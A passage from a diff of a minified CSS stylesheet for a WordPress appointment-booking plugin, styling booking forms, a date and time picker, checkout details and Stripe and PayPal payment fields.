992px){.mpa-grid.mpa-grid-columns-4>.mpa-grid-column{width:25%}}@media(min-width: 992px){.mpa-grid.mpa-grid-columns-5>.mpa-grid-column{width:20%}}.mpa-preloader-skeleton-pulsate{background:linear-gradient(-45deg, #DDDDDD, #F0F0F0, #DDDDDD, #F0F0F0);background-size:400% 400%;animation:mpa-preloader-skeleton-pulsate-gradient 2.25s ease infinite}.mpa-stripe-element.mpa-preloader-skeleton-pulsate{width:100%;height:50px;position:relative;display:block;border-radius:4px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate:before,.mpa-stripe-element.mpa-preloader-skeleton-pulsate:after{content:\"\";position:absolute;top:calc(50% - 5px);height:10px;background:linear-gradient(-45deg, #cbcbcb, #dddddd, #cbcbcb, #dddddd);background-size:400% 400%;animation:mpa-preloader-skeleton-pulsate-gradient 2.25s ease infinite}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-payment-request-button-element:before{left:calc(50% - 70px);width:140px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-card-element:before{left:12px;width:200px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-card-element:after{right:12px;width:85px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-ideal-element:before{left:12px;width:200px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-ideal-element:after{right:12px;width:10px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate .mpa-stripe-iban-element:before{left:12px;width:200px}@-webkit-keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}@-moz-keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}@keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}.mpa-posts-loop .mpa-loop-post-wrapper>*:first-child{margin-top:0}.mpa-posts-loop .mpa-loop-post-wrapper>*:last-child{margin-bottom:0}.mpa-posts-loop .post-thumbnail img{margin-top:0;margin-bottom:0}.mpa-pagination{margin-top:0}.appointment-form-shortcode,.appointment-form-widget>.widget-body{display:flex;flex-wrap:wrap;position:relative}.appointment-form-shortcode:not(.mpa-loaded),.appointment-form-widget>.widget-body:not(.mpa-loaded),.appointment-form-shortcode .mpa-booking-step:not(.mpa-loaded),.appointment-form-widget>.widget-body .mpa-booking-step:not(.mpa-loaded){min-height:52px;position:relative}.appointment-form-shortcode label,.appointment-form-widget>.widget-body label,.appointment-form-shortcode select,.appointment-form-widget>.widget-body select,.appointment-form-shortcode input[type=text],.appointment-form-widget>.widget-body input[type=text],.appointment-form-shortcode input[type=email],.appointment-form-widget>.widget-body input[type=email],.appointment-form-shortcode input[type=tel],.appointment-form-widget>.widget-body input[type=tel]{width:100%}.appointment-form-shortcode select,.appointment-form-widget>.widget-body select,.appointment-form-shortcode input[type=text],.appointment-form-widget>.widget-body input[type=text],.appointment-form-shortcode input[type=email],.appointment-form-widget>.widget-body input[type=email],.appointment-form-shortcode input[type=tel],.appointment-form-widget>.widget-body input[type=tel]{display:block}.appointment-form-shortcode .mpa-message,.appointment-form-widget>.widget-body .mpa-message{width:100%}.appointment-form-shortcode .mpa-actions,.appointment-form-widget>.widget-body .mpa-actions{margin-top:1.5em}.appointment-form-shortcode .mpa-booking-step,.appointment-form-widget>.widget-body .mpa-booking-step{width:100%}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item-template,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item-template{display:none}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item{margin-bottom:40px;border:1px solid #eee}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item>*,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item>*{width:50%}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item>*:last-child,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item>*:last-child{margin-bottom:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell{box-sizing:border-box;padding:5px 25px;width:100%}@media(min-width: 992px){.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell{width:50%}}.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell-title,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell-title{font-weight:700;margin-bottom:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header,.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-body,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-body,.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer{width:100%;display:flex;flex-wrap:wrap;padding:20px 0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header{border-bottom:1px solid #eee;font-weight:700}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header+.item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header+.item-footer{border-top:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer{border-top:1px solid #eee}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer .cell{width:100%}.appointment-form-shortcode .mpa-booking-step-service-form,.appointment-form-widget>.widget-body .mpa-booking-step-service-form{max-width:100%}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-service-form,.appointment-form-widget>.widget-body .mpa-booking-step-service-form{width:50%}}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{display:flex;flex-wrap:wrap;margin:0 -10px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{flex-wrap:nowrap}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{width:auto}}.appointment-form-shortcode .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{padding:0 10px}.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:20px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:0}}.appointment-form-shortcode .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded),.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded){position:relative}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar{margin:0 0 0 1px;top:0;box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 0 0 rgba(0,0,0,.08)}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled{opacity:0;cursor:default}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.appointment-form-shortcode .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper{pointer-events:none}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-days,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-days,.appointment-form-shortcode .mpa-booking-step-period .dayContainer,.appointment-form-widget>.widget-body .mpa-booking-step-period .dayContainer{width:100%;max-width:100%;min-width:100%}.appointment-form-shortcode .mpa-booking-step-period .flatpickr-day,.appointment-form-widget>.widget-body .mpa-booking-step-period .flatpickr-day{max-width:39px;height:39px;line-height:39px}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{display:flex;flex-wrap:wrap;justify-content:center}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 auto}}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container{position:relative;width:100%;height:100%}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{overflow:auto;max-height:400px}@media screen and (min-width: 992px){.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-times,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:absolute;top:0;bottom:0;left:0;right:0;max-height:100%}}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period{width:calc(100% - 10px);margin:0 5px 10px;padding:10px 5px}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period{width:calc(50% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period{width:calc(33.3333333333% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period{width:calc(25% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period{width:calc(20% - 10px)}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time{display:none}.appointment-form-shortcode .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time{display:inline}.appointment-form-shortcode .mpa-booking-step-period .mpa-slot-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-slot-capacity{display:block}.appointment-form-shortcode .iti__flag,.appointment-form-widget>.widget-body .iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags.png\")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.appointment-form-shortcode .iti__flag,.appointment-form-widget>.widget-body .iti__flag{background-image:url(\"..\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fimg\u002Fflags@2x.png\")}}.appointment-form-shortcode .mpa-checkout-form .iti,.appointment-form-widget>.widget-body .mpa-checkout-form .iti{width:100%}.appointment-form-shortcode .mpa-phone-number--invalid,.appointment-form-widget>.widget-body .mpa-phone-number--invalid{border-color:red;color:red}.appointment-form-shortcode .mpa-phone-field-error,.appointment-form-widget>.widget-body .mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.appointment-form-shortcode .wp-admin .mpa-phone-number--invalid,.appointment-form-widget>.widget-body .wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-order-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-order-details,.appointment-form-shortcode .mpa-booking-step-checkout .mpa-customer-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-customer-details{padding:0}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-order-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-order-details{margin-bottom:40px}@media screen and (min-width: 800px){.appointment-form-shortcode .mpa-booking-step-checkout .mpa-capacity-details .mpa-bring-people,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-capacity-details .mpa-bring-people{display:inline-block;width:auto}}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details{list-style:none;margin:0;padding:0;display:flex;flex-wrap:wrap}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li{flex:1 0 auto;margin:0 1.5em 1.5em 0;padding-left:0;padding-right:1.5em;border-right:1px dashed #d3ced2}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li:last-of-type,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li:last-of-type{border:none;margin-right:0;padding-right:0}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-label,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-label{display:block;font-size:.85em}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-value,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-value{font-weight:bold}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-capacity{display:block;font-size:x-small}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-capacity{display:block}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways{padding:0;margin:0;list-style:none}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways>li,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways>li{margin-top:1em}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways label,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways label{display:inline}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-title,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-title{font-weight:bold}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-description,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-description{margin:0}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-billing-fields,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-billing-fields{margin-top:.5em}.appointment-form-shortcode .mpa-booking-step-payment .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-reservation-capacity{display:block}.appointment-form-shortcode .mpa-booking-step-booking,.appointment-form-widget>.widget-body .mpa-booking-step-booking{flex-grow:2}.appointment-form-shortcode .mpa-booking-step-booking .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-booking .mpa-reservation-capacity{display:block;font-weight:normal}.mpa-service-employees{display:flex;flex-wrap:wrap;align-items:center}.mpa-service-employees img{width:45px;height:45px;border-radius:50%;border:3px solid #fff;margin-left:-15px}.mpa-service-employees img:first-child{margin-left:0}.mpa-service-employees img:first-child{z-index:5}.mpa-service-employees img:nth-child(2){z-index:4}.mpa-service-employees img:nth-child(3){z-index:3}.mpa-service-employees img:nth-child(4){z-index:2}.mpa-service-employees img:nth-child(5){z-index:1}.mpa-service-employees .more-employees,.mpa-service-employees .employee-name{margin-left:5px}.mpa-booking-details .mpa-booking-details-section{margin-bottom:1.5em;border:1px solid #eee;padding:.75em 0}.mpa-booking-details .mpa-booking-details-section:last-child{margin-bottom:0}.mpa-booking-details .mpa-booking-details-section-row{display:flex;flex-wrap:wrap;margin:0}.mpa-booking-details .mpa-booking-details-section-row .cell{box-sizing:border-box;width:100%;padding:.25em 1em}@media(min-width: 768px){.mpa-booking-details .mpa-booking-details-section-row .cell{width:50%}}.mpa-booking-details .booking-reservations,.mpa-booking-details .booking-payments{padding:0}.mpa-booking-details .reservation{border-bottom:1px solid #eee;padding:.75em 0;margin-bottom:0}.mpa-booking-details .reservation:last-child{border:0}.mpa-booking-details .reservation .reservation-calendar-links{display:flex;width:100%}.mpa-booking-details .reservation-title,.mpa-booking-details .reservation-full-date{font-weight:700}.mpa-booking-details .mpa-reservation-capacity{display:block;font-weight:normal}.mpa-booking-details .payment{border-bottom:1px solid #eee;padding:.75em 0}.mpa-booking-details .payment:last-child{border:0}.mpa-booking-details-shortcode+.mpa-direct-link-booking-cancellation-link-shortcode{margin-top:1.5em}.mpa-account-menu{margin-bottom:1.5em}.mpa-account-menu ul{list-style:none;padding:0;margin:0}.mpa-account-menu li{display:inline-block;padding:0;margin:0 .5em 0 0}.mpa-account-menu li:last-child{margin-right:0}.mpa-account-menu li::after,.mpa-account-menu li::before{display:none}.mpa-account-bookings{table-layout:auto;font-size:.85em}@media screen and (max-width: 767px){.mpa-account-bookings thead{display:none}.mpa-account-bookings tr{display:block}.mpa-account-bookings td{display:flex}.mpa-account-bookings td:before{content:attr(data-title) \" \";width:50%}}.mpa-account-bookings .booking-number{justify-content:center;gap:.25em}.mpa-account-bookings .booking-number:before{width:auto}.mpa-account-bookings .booking-reservations{flex-direction:column}.mpa-account-bookings .booking-reservations:before{display:none}.mpa-account-bookings .booking-reservation{margin-bottom:.5em}.mpa-account-bookings .booking-reservation:last-child{margin-bottom:0}.mpa-account-bookings .reservation-title{display:block}.mpa-account-details .mpa-customer-details{border:1px solid #eee;padding:.75em 0}.mpa-account-details .mpa-customer-details-row{display:flex;flex-wrap:wrap;margin:0}.mpa-account-details .mpa-customer-details-row .cell{box-sizing:border-box;width:100%;padding:.25em 1em}@media(min-width: 768px){.mpa-account-details .mpa-customer-details-row .cell{width:50%}}@media screen and (min-width: 992px){.appointment-form-widget>.widget-body .mpa-booking-step-service-form{width:100%}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{flex-wrap:wrap}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:20px}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 100%}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:relative}}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{max-height:300px}.mpa-stripe-payment-container{margin-bottom:1em}.mpa-stripe-payment-container .mpa-stripe-payment-methods>ul{cursor:pointer;margin:0 0 .5em 0;padding:0;list-style:none}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method{display:inline-block;margin:0 1.5em 0 0;padding-top:.5em;padding-bottom:.5em}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method:last-of-type{margin-right:0}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method.active label{box-shadow:0 2px currentColor}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method label{cursor:pointer}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method input[type=radio]{display:none}.mpa-stripe-payment-container .mpa-stripe-payment-fields fieldset{border:none;padding:0;margin:0}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement{box-sizing:border-box;padding:15px 12px;border:1px solid rgba(0,0,0,0);border-radius:4px;background-color:#fff;box-shadow:0 1px 6px 0 #e6ebf1;-webkit-transition:box-shadow 150ms ease;transition:box-shadow 150ms ease;margin-top:.5em;margin-bottom:.5em}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--focus{box-shadow:0 1px 3px 0 #cfd7df}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--invalid{border-color:#fa755a}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--webkit-autofill{background-color:#fefde5 !important}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-element.StripeElement{padding:0}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator{text-transform:uppercase;text-align:center}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator:before,.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator:after{content:\" - \"}.mpa-stripe-payment-container .mpa-errors{color:#e25950}.mpa-paypal-error{margin:5px 0;color:#e25950}\n\\ No newline at end of file\n+:root{--mpa-grid-gap: 20px}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url(\"..\u002Fimages\u002Floading.gif?ver=2.4.6\"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url(\"..\u002Fimages\u002Fpreloader.gif?ver=2.4.6\")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa-grid{display:flex;flex-flow:row wrap;margin-right:calc(-1*var(--mpa-grid-gap, 20px));margin-left:calc(-1*var(--mpa-grid-gap, 20px))}.mpa-grid>.mpa-grid-column{padding:0 var(--mpa-grid-gap, 20px);margin-bottom:calc(2*var(--mpa-grid-gap, 20px));width:100%}@media(min-width: 768px){.mpa-grid>.mpa-grid-column{width:50%}}@media(min-width: 992px){.mpa-grid>.mpa-grid-column{width:16.667%}}.mpa-grid.mpa-grid-columns-1>.mpa-grid-column{width:100%}@media(min-width: 768px){.mpa-grid.mpa-grid-columns-2>.mpa-grid-column{width:50%}}@media(min-width: 768px){.mpa-grid.mpa-grid-columns-3>.mpa-grid-column{width:33%}}@media(min-width: 992px){.mpa-grid.mpa-grid-columns-4>.mpa-grid-column{width:25%}}@media(min-width: 992px){.mpa-grid.mpa-grid-columns-5>.mpa-grid-column{width:20%}}.mpa-preloader-skeleton-pulsate{background:linear-gradient(-45deg, #DDDDDD, #F0F0F0, #DDDDDD, #F0F0F0);background-size:400% 400%;animation:mpa-preloader-skeleton-pulsate-gradient 2.25s ease infinite}.mpa-stripe-element.mpa-preloader-skeleton-pulsate{width:100%;height:50px;position:relative;display:block;border-radius:4px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate:before,.mpa-stripe-element.mpa-preloader-skeleton-pulsate:after{content:\"\";position:absolute;top:calc(50% - 5px);height:10px;background:linear-gradient(-45deg, #cbcbcb, #dddddd, #cbcbcb, #dddddd);background-size:400% 400%;animation:mpa-preloader-skeleton-pulsate-gradient 2.25s ease infinite}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-payment-request-button-element:before{left:calc(50% - 70px);width:140px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-card-element:before{left:12px;width:200px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-card-element:after{right:12px;width:85px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-ideal-element:before{left:12px;width:200px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate.mpa-stripe-ideal-element:after{right:12px;width:10px}.mpa-stripe-element.mpa-preloader-skeleton-pulsate .mpa-stripe-iban-element:before{left:12px;width:200px}@-webkit-keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}@-moz-keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}@keyframes mpa-preloader-skeleton-pulsate-gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}.mpa-posts-loop .mpa-loop-post-wrapper>*:first-child{margin-top:0}.mpa-posts-loop .mpa-loop-post-wrapper>*:last-child{margin-bottom:0}.mpa-posts-loop .post-thumbnail img{margin-top:0;margin-bottom:0}.mpa-pagination{margin-top:0}.appointment-form-shortcode,.appointment-form-widget>.widget-body{display:flex;flex-wrap:wrap;position:relative}.appointment-form-shortcode:not(.mpa-loaded),.appointment-form-widget>.widget-body:not(.mpa-loaded),.appointment-form-shortcode .mpa-booking-step:not(.mpa-loaded),.appointment-form-widget>.widget-body .mpa-booking-step:not(.mpa-loaded){min-height:52px;position:relative}.appointment-form-shortcode label,.appointment-form-widget>.widget-body label,.appointment-form-shortcode select,.appointment-form-widget>.widget-body select,.appointment-form-shortcode input[type=text],.appointment-form-widget>.widget-body input[type=text],.appointment-form-shortcode input[type=email],.appointment-form-widget>.widget-body input[type=email],.appointment-form-shortcode input[type=tel],.appointment-form-widget>.widget-body input[type=tel]{width:100%}.appointment-form-shortcode select,.appointment-form-widget>.widget-body select,.appointment-form-shortcode input[type=text],.appointment-form-widget>.widget-body input[type=text],.appointment-form-shortcode input[type=email],.appointment-form-widget>.widget-body input[type=email],.appointment-form-shortcode input[type=tel],.appointment-form-widget>.widget-body input[type=tel]{display:block}.appointment-form-shortcode .mpa-message,.appointment-form-widget>.widget-body .mpa-message{width:100%}.appointment-form-shortcode .mpa-actions,.appointment-form-widget>.widget-body .mpa-actions{margin-top:1.5em}.appointment-form-shortcode .mpa-booking-step,.appointment-form-widget>.widget-body .mpa-booking-step{width:100%}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item-template,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item-template{display:none}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item{margin-bottom:40px;border:1px solid #eee}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item>*,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item>*{width:50%}.appointment-form-shortcode .mpa-booking-step .mpa-cart .mpa-cart-item>*:last-child,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .mpa-cart-item>*:last-child{margin-bottom:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell{box-sizing:border-box;padding:5px 25px;width:100%}@media(min-width: 992px){.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell{width:50%}}.appointment-form-shortcode .mpa-booking-step .mpa-cart .cell-title,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .cell-title{font-weight:700;margin-bottom:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header,.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-body,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-body,.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer{width:100%;display:flex;flex-wrap:wrap;padding:20px 0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header{border-bottom:1px solid #eee;font-weight:700}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-header+.item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-header+.item-footer{border-top:0}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer{border-top:1px solid #eee}.appointment-form-shortcode .mpa-booking-step .mpa-cart .item-footer .cell,.appointment-form-widget>.widget-body .mpa-booking-step .mpa-cart .item-footer 